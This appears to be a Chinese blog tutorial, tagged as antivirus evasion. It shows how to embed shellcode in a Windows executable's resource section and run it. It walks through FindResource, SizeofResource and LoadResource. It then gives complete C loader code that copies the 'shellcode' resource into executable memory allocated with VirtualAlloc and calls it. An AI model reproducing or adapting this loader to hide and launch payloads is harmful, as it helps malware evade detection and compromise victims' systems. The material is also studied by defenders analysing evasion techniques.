首页 技术杂谈 正文
  • 本文约1961字,阅读需10分钟
  • 202
  • 0

ShellCode加载 - 资源节加载

摘要

ShellCode资源节加载

1、从资源节加载

1.1、什么是资源节

  • 在Windows PE (Portable Executable) 格式中,"资源节"是一个特殊的节(section),用于存储可执行文件(如.exe.dll文件)的资源数据。这些资源数据可以包括位图、图标、字符串、菜单、对话框和其他用户界面元素,但它们也可以包括任何其他类型的二进制数据

1.2、使用FindResource函数查找定位到资源名称

  • 函数介绍 : 用于查找指定模块(EXE或DLL文件)中指定名称和类型的资源
  • 函数语法
HRSRC FindResourceA(
  [in, optional] HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前进程中的资源
  [in]           LPCSTR  lpName, //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
  [in]           LPCSTR  lpType //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
);
  • 返回值 : 如果函数成功,则返回值是指定资源的信息块的句柄。 若要获取资源的句柄,请将此句柄传递给 LoadResource 函数。

1.3、使用MAKEINTRESOURCE宏转换

  • 功能介绍:将整数值转换为与资源管理功能兼容的资源类型。 此宏用于代替包含资源名称的字符串
  • 函数语法
void MAKEINTRESOURCEA(
   i
);

1.4、使用SizeofResource函数获取资源大小

  • 函数介绍:检索指定资源的大小
  • 函数语法
DWORD SizeofResource(
  [in, optional] HMODULE hModule, // 其可执行文件包含资源的模块的句柄。默认是用于创建当前进程的模块。
  [in]           HRSRC   hResInfo // 资源的句柄。该句柄必须使用FindResource或FindResourceEx函数创建。
);
  • 返回值 : 如果函数成功,返回值是资源中的字节数

1.5、使用LoadResource函数加载资源到内存

  • 函数介绍 : 检索可用于获取指向内存中指定资源的第一个字节的指针的句柄。

1.6、实现过程

  • 生成bin文件

  • 右键资源文件->添加->资源->添加资源

  • 导入bin文件

  • 会在头文件中生成 resource.h

//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 load.rc 使用
//
//IDR_SHELLCODE1 通常用于标识和引用项目中的某个资源,例如嵌入到可执行文件中的二进制数据、图像或其他类型的资源,在项目的其他部分(例如代码或资源脚本中),可以通过使用 IDR_SHELLCODE1 符号来引用这个资源,而不是直接使用数字常量(如 101
#define IDR_SHELLCODE1                  101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif
  • 实现代码
#include<windows.h>
#include "resource.h"

int main() {

    // 使用FindResource定位我们的shellcode资源
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");

    // 获取资源的大小
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

    // 加载资源到内存
    HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

    // 申请内存
    // 动态分配内存以容纳shellcode
    void* pShellcode = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 复制到内存中
    memcpy(pShellcode, shellcodeResouceData, shellcodeSize);

    // 强制转换内存地址为函数指针,然后调用它
    ((void(*)())pShellcode)();

    return 0;
}
标签:免杀
评论